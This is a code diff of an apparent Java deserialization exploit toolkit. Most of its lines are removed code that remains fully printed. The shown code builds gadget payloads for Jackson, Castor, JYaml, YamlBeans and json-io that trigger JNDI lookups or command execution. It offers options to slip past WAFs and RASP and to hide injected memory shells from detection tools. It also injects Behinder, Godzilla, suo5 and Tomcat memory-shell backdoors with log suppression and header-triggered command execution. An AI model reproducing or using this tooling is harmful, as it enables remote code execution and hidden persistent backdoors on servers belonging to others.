ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass));
|
||||
}
|
||||
}
|
||||
|
||||
public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception {
|
||||
ctClass.defrost();
|
||||
try {
|
||||
@@ -253,7 +50,6 @@ public class InjShell {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//类加载方式,因类而异
|
||||
public static String injectClass(Class clazz) {
|
||||
|
||||
@@ -279,61 +75,6 @@ public class InjShell {
|
||||
"};";
|
||||
}
|
||||
|
||||
public static void insertTomcatNoLog(CtClass ctClass) throws Exception {
|
||||
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getFieldValue");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
|
||||
}
|
||||
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getMethodByClass");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
|
||||
}
|
||||
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getMethodAndInvoke");
|
||||
} catch (NotFoundException e) {
|
||||
if (Config.IS_OBSCURE) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE_OBSCURE), ctClass));
|
||||
} else {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
|
||||
}
|
||||
}
|
||||
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(TOMCAT_NO_LOG), ctClass));
|
||||
}
|
||||
|
||||
private static Options getOptions() {
|
||||
Options options = new Options();
|
||||
options.addOption("yso", "ysoserial", true, "Java deserialization");
|
||||
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||
options.addOption("p", "parameters", true, "Gadget parameters");
|
||||
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
||||
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
||||
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
||||
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
||||
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
||||
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
|
||||
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
|
||||
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
|
||||
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
|
||||
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
|
||||
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
|
||||
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
|
||||
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
|
||||
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
|
||||
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
|
||||
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
||||
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
||||
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
||||
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
||||
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
||||
return options;
|
||||
}
|
||||
|
||||
public static void init(String[] args) throws Exception {
|
||||
final Options options = getOptions();
|
||||
|
||||
|
||||
@@ -7,9 +7,6 @@ import com.esotericsoftware.kryo.Kryo;
|
||||
import com.esotericsoftware.kryo.io.Output;
|
||||
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
|
||||
import com.qi4l.JYso.gadgets.C3P0WrapperConnPool;
|
||||
import com.qi4l.JYso.gadgets.SpringUtil;
|
||||
import com.qi4l.JYso.gadgets.TemplatesUtil;
|
||||
import com.qi4l.JYso.gadgets.UtilFactory;
|
||||
import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
|
||||
import com.rometools.rome.feed.impl.EqualsBean;
|
||||
import com.rometools.rome.feed.impl.ToStringBean;
|
||||
@@ -58,105 +55,23 @@ public class Serializer implements Callable<byte[]> {
|
||||
|
||||
public static void qiserialize(
|
||||
Object obj,
|
||||
final OutputStream out,
|
||||
String payloadType,
|
||||
String Command
|
||||
final OutputStream out
|
||||
) throws Exception {
|
||||
ObjectOutputStream objOut = null;
|
||||
AbstractHessianOutput AobjOut = null;
|
||||
ByteArrayOutputStream outB64 = new ByteArrayOutputStream();
|
||||
|
||||
if (IS_DIRTY_IN_TC_RESET) {
|
||||
objOut = new SuObjectOutputStream(out);
|
||||
new SuObjectOutputStream(out);
|
||||
} else if (IS_UTF_Bypass) {
|
||||
if (BASE64) {
|
||||
objOut = new UTF8OverlongObjectOutputStream(outB64);
|
||||
new UTF8OverlongObjectOutputStream(outB64);
|
||||
} else {
|
||||
objOut = new UTF8OverlongObjectOutputStream(out);
|
||||
new UTF8OverlongObjectOutputStream(out);
|
||||
}
|
||||
} else if (IS_Hessian1) {
|
||||
if (BASE64) {
|
||||
AobjOut = new HessianOutput(outB64);
|
||||
} else {
|
||||
AobjOut = new HessianOutput(out);
|
||||
}
|
||||
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
|
||||
sf.setAllowNonSerializable(true);
|
||||
AobjOut.setSerializerFactory(sf);
|
||||
} else if (IS_Hessian2) {
|
||||
if (BASE64) {
|
||||
AobjOut = new Hessian2Output(outB64);
|
||||
} else {
|
||||
AobjOut = new Hessian2Output(out);
|
||||
}
|
||||
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
|
||||
sf.setAllowNonSerializable(true);
|
||||
AobjOut.setSerializerFactory(sf);
|
||||
AobjOut.writeObject(obj);
|
||||
AobjOut.close();
|
||||
} else if (IS_Xstream) {
|
||||
XStream xstream = new XStream();
|
||||
String xml = xstream.toXML(obj);
|
||||
System.out.println(xml);
|
||||
return;
|
||||
} else if (IS_Kryo) {
|
||||
Kryo kryo = new Kryo();
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
try (Output output = new Output(bos)) {
|
||||
kryo.writeClassAndObject(output, obj);
|
||||
}
|
||||
if (BASE64) {
|
||||
String base64String = Base64.getEncoder().encodeToString(bos.toByteArray());
|
||||
System.out.println(base64String);
|
||||
} else {
|
||||
System.out.println(bos);
|
||||
}
|
||||
return;
|
||||
} else if (IS_JsonIO) {
|
||||
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start"));
|
||||
System.out.println(obj);
|
||||
return;
|
||||
} else if (payloadType.equals("Rome")) {
|
||||
obj = makeRome(Command);
|
||||
System.out.println(obj);
|
||||
return;
|
||||
}
|
||||
String jsonio = JsonWriter.objectToJson(obj);
|
||||
System.out.println(jsonio);
|
||||
return;
|
||||
} else if (IS_YamlBeans) {
|
||||
obj = YamlBeansHandler(payloadType, Command);
|
||||
System.out.println(obj);
|
||||
return;
|
||||
} else if (IS_JYAML) {
|
||||
String payload = JYamlHandler(payloadType, Command);
|
||||
System.out.println(payload);
|
||||
return;
|
||||
} else if (IS_Castor) {
|
||||
obj = CastorHandler(payloadType, Command);
|
||||
System.out.println(obj);
|
||||
return;
|
||||
} else if (IS_Jackson) {
|
||||
obj = JacksonHandler(payloadType, Command);
|
||||
System.out.println(obj);
|
||||
return;
|
||||
} else {
|
||||
if (BASE64) {
|
||||
objOut = new SuObjectOutputStream(outB64);
|
||||
new SuObjectOutputStream(outB64);
|
||||
} else {
|
||||
objOut = new SuObjectOutputStream(out);
|
||||
}
|
||||
}
|
||||
|
||||
if (IS_Hessian1 || IS_Hessian2) {
|
||||
if (AobjOut != null) {
|
||||
AobjOut.writeObject(obj);
|
||||
}
|
||||
} else {
|
||||
if (objOut != null) {
|
||||
objOut.writeObject(obj);
|
||||
new SuObjectOutputStream(out);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -166,121 +81,6 @@ public class Serializer implements Callable<byte[]> {
|
||||
}
|
||||
}
|
||||
|
||||
public static Object makeRome(String Command) throws Exception {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
String[] args = {Command};
|
||||
Object tpl = TemplatesUtil.createTemplatesImpl(args);
|
||||
Object obj1 = makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl);
|
||||
String marshalled = JsonWriter.objectToJson(obj1);
|
||||
// add the transient _tfactory field
|
||||
marshalled = marshalled.replace(
|
||||
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",",
|
||||
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_tfactory\""
|
||||
+ ": {\"@type\" : \"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"},");
|
||||
return marshalled;
|
||||
}
|
||||
|
||||
public static <T> Object makeROMEAllPropertyTrigger(UtilFactory uf, Class<T> type, T obj) throws Exception {
|
||||
ToStringBean item = new ToStringBean(type, obj);
|
||||
EqualsBean root = new EqualsBean(ToStringBean.class, item);
|
||||
return uf.makeHashCodeTrigger(root);
|
||||
}
|
||||
|
||||
public static Object YamlBeansHandler(String payloadType, String command) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
|
||||
globalinline = true;
|
||||
if (payloadType.equals("C3P0WrapperConnPool")) {
|
||||
URI uri = new URI(command);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return writeObject(
|
||||
WrapperConnectionPoolDataSource.class,
|
||||
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static Object JacksonHandler(String payloadType, String jndiUrl) throws Exception {
|
||||
switch (payloadType) {
|
||||
case "SpringAbstractBeanFactoryPointcutAdvisor": {
|
||||
Map<String, String> values = new LinkedHashMap<>();
|
||||
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
|
||||
values.put("adviceBeanName", quoteString(jndiUrl));
|
||||
return writeCollection(
|
||||
HashSet.class.getName(),
|
||||
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values),
|
||||
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP));
|
||||
}
|
||||
case "C3P0WrapperConnPool":
|
||||
URI uri = new URI(jndiUrl);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return writeJackJsonObject(
|
||||
WrapperConnectionPoolDataSource.class,
|
||||
Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
|
||||
case "SpringPropertyPathFactory": {
|
||||
Map<String, String> values = new LinkedHashMap<>();
|
||||
values.put("targetBeanName", quoteString(jndiUrl));
|
||||
values.put("propertyPath", quoteString("foo"));
|
||||
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
|
||||
return writeJackJsonObject(PropertyPathFactoryBean.class, values);
|
||||
}
|
||||
case "JdbcRowSet": {
|
||||
Map<String, String> values = new LinkedHashMap<>();
|
||||
values.put("dataSourceName", quoteString(jndiUrl));
|
||||
values.put("autoCommit", "true");
|
||||
return writeJackJsonObject(JdbcRowSetImpl.class, values);
|
||||
}
|
||||
case "C3P0RefDataSource": {
|
||||
Map<String, String> values = new LinkedHashMap<>();
|
||||
values.put("jndiName", quoteString(jndiUrl));
|
||||
values.put("loginTimeout", "0");
|
||||
return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values);
|
||||
}
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
|
||||
switch (payloadType) {
|
||||
case "JdbcRowSet":
|
||||
Map<String, String> properties = new LinkedHashMap<>();
|
||||
properties.put("dataSourceName", writeString(command));
|
||||
properties.put("autoCommit", "true");
|
||||
return writeObject(JdbcRowSetImpl.class, properties);
|
||||
case "C3P0WrapperConnPool":
|
||||
URI uri = new URI(command);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return writeObject(
|
||||
WrapperConnectionPoolDataSource.class,
|
||||
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
|
||||
case "C3P0RefDataSource":
|
||||
Map<String, String> props = new LinkedHashMap<>();
|
||||
props.put("jndiName", writeString(command));
|
||||
props.put("loginTimeout", "0");
|
||||
return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props);
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static Object CastorHandler(String payloadType, String jndiName) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
|
||||
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
|
||||
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
|
||||
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"java:org.springframework.beans.factory.config.PropertyPathFactoryBean\">"
|
||||
+ "<target-bean-name>" + jndiName + "</target-bean-name><property-path>foo</property-path>"
|
||||
+ "<bean-factory xsi:type=\"java:org.springframework.jndi.support.SimpleJndiBeanFactory\">" + "<shareable-resource>" + jndiName
|
||||
+ "</shareable-resource></bean-factory></x>";
|
||||
} else if (payloadType.equals("C3P0WrapperConnPool")) {
|
||||
URI uri = new URI(jndiName);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
|
||||
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\" "
|
||||
+ "user-overrides-as-string=\"" + C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]) + "\"/>";
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
protected static String writeObject(Class<?> clazz, Map<String, String> properties) {
|
||||
return writeObject(clazz.getName(), properties);
|
||||
}
|
||||
|
||||
+2
-4
@@ -1,7 +1,5 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.ClassFiles;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
@@ -106,4 +104,4 @@ public class TemplatesUtil {
|
||||
|
||||
private static final long serialVersionUID = 8207363842866235160L;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -15,12 +15,55 @@ import java.util.Random;
|
||||
import java.util.zip.Deflater;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||
import static com.qi4l.JYso.gadgets.utils.Gadgets.createMemoizedInvocationHandler;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
|
||||
|
||||
public class Utils {
|
||||
public static Map<String, Object> createMap(final String key, final Object val) {
|
||||
final Map<String, Object> map = new HashMap<>();
|
||||
map.put(key, val);
|
||||
return map;
|
||||
}
|
||||
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
|
||||
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||
}
|
||||
|
||||
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
|
||||
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
||||
allIfaces[0] = iface;
|
||||
if (ifaces.length > 0) {
|
||||
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
||||
}
|
||||
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
|
||||
}
|
||||
|
||||
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
|
||||
HashMap<Object, Object> s = new HashMap<>();
|
||||
Reflections.setFieldValue(s, "size", 2);
|
||||
Class<?> nodeC;
|
||||
try {
|
||||
nodeC = Class.forName("java.util.HashMap$Node");
|
||||
} catch (ClassNotFoundException e) {
|
||||
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||
}
|
||||
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
|
||||
nodeCons.setAccessible(true);
|
||||
|
||||
Object tbl = Array.newInstance(nodeC, 2);
|
||||
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
|
||||
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
|
||||
Reflections.setFieldValue(s, "table", tbl);
|
||||
return s;
|
||||
}
|
||||
|
||||
public static Class<?> makeClass(String clazzName) {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
@@ -198,7 +241,7 @@ public class Utils {
|
||||
|
||||
public static String getClassCode(Class<?> clazz) throws Exception {
|
||||
byte[] bytes;
|
||||
if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) {
|
||||
if (clazz.getName().equals("com.feihong.ldap.template.com.qi4l.JYso.template.Meterpreter")) {
|
||||
bytes = ClassByteChange.update();
|
||||
|
||||
} else {
|
||||
|
||||
@@ -45,8 +45,8 @@ public class TransformerUtil {
|
||||
command = command.substring(3);
|
||||
String bcelBytes;
|
||||
|
||||
// 对 BCEL 也支持 EX 或 LF 扩展功能
|
||||
if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
// 对 BCEL 也支持 LF 扩展功能
|
||||
if (command.startsWith("LF-")) {
|
||||
CtClass ctClass = generateClass(command);
|
||||
bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode());
|
||||
} else {
|
||||
@@ -56,7 +56,7 @@ public class TransformerUtil {
|
||||
transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||
} else if (command.startsWith("JD-")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)};
|
||||
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
} else if (command.startsWith("LF-")) {
|
||||
CtClass ctClass = generateClass(command);
|
||||
|
||||
if (USING_MOZILLA_DEFININGCLASSLOADER) {
|
||||
|
||||
@@ -29,176 +29,6 @@ public class ClassMethodHandler {
|
||||
cm.insertBefore(payload);
|
||||
}
|
||||
|
||||
|
||||
public static void insertKeyMethodByClassName(CtClass ctClass, String className, String type) throws Exception {
|
||||
|
||||
// 动态为 Echo回显类 添加执行命令功能
|
||||
if (className.endsWith("Echo")) {
|
||||
insertCMD(ctClass);
|
||||
ctClass.getDeclaredMethod("q").setBody("{return execCmd($1);}");
|
||||
return;
|
||||
}
|
||||
|
||||
// 如果是 RMI 内存马,则修改其中的 registryPort、bindPort、serviceName,插入关键方法
|
||||
if (className.contains("RMIBindTemplate")) {
|
||||
String[] parts = type.split("-");
|
||||
|
||||
if (parts.length < 3) {
|
||||
// BindPort 写 0 就是随机端口
|
||||
throw new IllegalArgumentException("Command format is: EX-MS-RMIBindTemplate-<RegistryPort>-<BindPort>-<ServiceName>");
|
||||
}
|
||||
|
||||
// 插入关键参数
|
||||
String rPortString = "port=" + parts[0] + ";";
|
||||
ctClass.makeClassInitializer().insertBefore(rPortString);
|
||||
String bPort = "bindPort=" + parts[1] + ";";
|
||||
ctClass.makeClassInitializer().insertBefore(bPort);
|
||||
String sName = "serviceName=\"" + parts[2] + "\";";
|
||||
ctClass.makeClassInitializer().insertBefore(sName);
|
||||
ctClass.setInterfaces(new CtClass[]{Config.POOL.get("javax.management.remote.rmi.RMIConnection"), Config.POOL.get("java.io.Serializable")});
|
||||
|
||||
// 插入目标执行类
|
||||
insertCMD(ctClass);
|
||||
ctClass.addMethod(CtMethod.make("public String getDefaultDomain(javax.security.auth.Subject subject) throws java.io.IOException {return new String(execCmd(((java.security.Principal)subject.getPrincipals().iterator().next()).getName()).toByteArray());}", ctClass));
|
||||
return;
|
||||
}
|
||||
|
||||
// 获取每个不同的类对应要插入的方法名
|
||||
String method = getMethodName(ctClass);
|
||||
|
||||
// WebSocket 内存马
|
||||
if (className.contains("TWSMSFromThread")) {
|
||||
insertCMD(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.WS_SHELL));
|
||||
return;
|
||||
}
|
||||
|
||||
// Tomcat Upgrade 内存马
|
||||
if (className.contains("TUGMSFromJMX")) {
|
||||
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
|
||||
insertGetFieldValue(ctClass);
|
||||
insertCMD(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.UPGRADE_SHELL));
|
||||
return;
|
||||
}
|
||||
|
||||
// Tomcat Executor 内存马
|
||||
if (className.contains("TEXMSFromThread")) {
|
||||
insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";");
|
||||
insertCMD(ctClass);
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_REQUEST), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_RESPONSE), ctClass));
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.EXECUTOR_SHELL));
|
||||
return;
|
||||
}
|
||||
|
||||
// 其他的进入下一段处理逻辑
|
||||
if (StringUtils.isNotEmpty(type)) {
|
||||
insertKeyMethod(ctClass, type, method);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void insertKeyMethod(CtClass ctClass, String type, String method) throws Exception {
|
||||
// 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload
|
||||
String name = ctClass.getName();
|
||||
name = name.substring(name.lastIndexOf(".") + 1);
|
||||
|
||||
// 大多数 SpringBoot 项目使用内置 Tomcat
|
||||
boolean isTomcat = name.startsWith("T") || name.startsWith("Spring");
|
||||
boolean isWebflux = name.contains("Webflux");
|
||||
|
||||
// 命令执行、各种内存马
|
||||
insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";");
|
||||
insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";");
|
||||
|
||||
if ("bx".equals(type)) {
|
||||
insertBase64Decode(ctClass);
|
||||
insertGetFieldValue(ctClass);
|
||||
insertGetMethodAndInvoke(ctClass);
|
||||
|
||||
if (Config.IS_OBSCURE) {
|
||||
insertGetUnsafe(ctClass);
|
||||
}
|
||||
|
||||
String shell;
|
||||
if (isTomcat) {
|
||||
insertTomcatNoLog(ctClass);
|
||||
shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT;
|
||||
} else {
|
||||
shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_OBSCURE : MemShellPayloads.BEHINDER_SHELL;
|
||||
}
|
||||
|
||||
insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD));
|
||||
} else if ("gz".equals(type)) {
|
||||
insertField(ctClass, "payload", "Class payload ;");
|
||||
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
|
||||
insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";");
|
||||
|
||||
insertBase64Decode(ctClass);
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.MD5), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass));
|
||||
insertTomcatNoLog(ctClass);
|
||||
if (isWebflux) {
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_WEBFLUX));
|
||||
} else {
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL));
|
||||
}
|
||||
} else if ("gzraw".equals(type)) {
|
||||
insertField(ctClass, "payload", "Class payload ;");
|
||||
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
|
||||
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass));
|
||||
insertTomcatNoLog(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_SHELL));
|
||||
} else if ("suo5".equals(type)) {
|
||||
|
||||
// 先写入一些需要的基础属性
|
||||
insertField(ctClass, "gInStream", "java.io.InputStream gInStream;");
|
||||
insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;");
|
||||
|
||||
// 依次写入方法
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_CREATE), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DATA), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DEL), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_SET_STREAM), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_STATUS), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_U32_TO_BYTES), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_BYTES_TO_U32), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_MARSHAL), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_UNMARSHAL), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_SOCKET), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_TRY_FULL_DUPLEX), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_REQ), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_UNARY), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_BIO), ctClass));
|
||||
|
||||
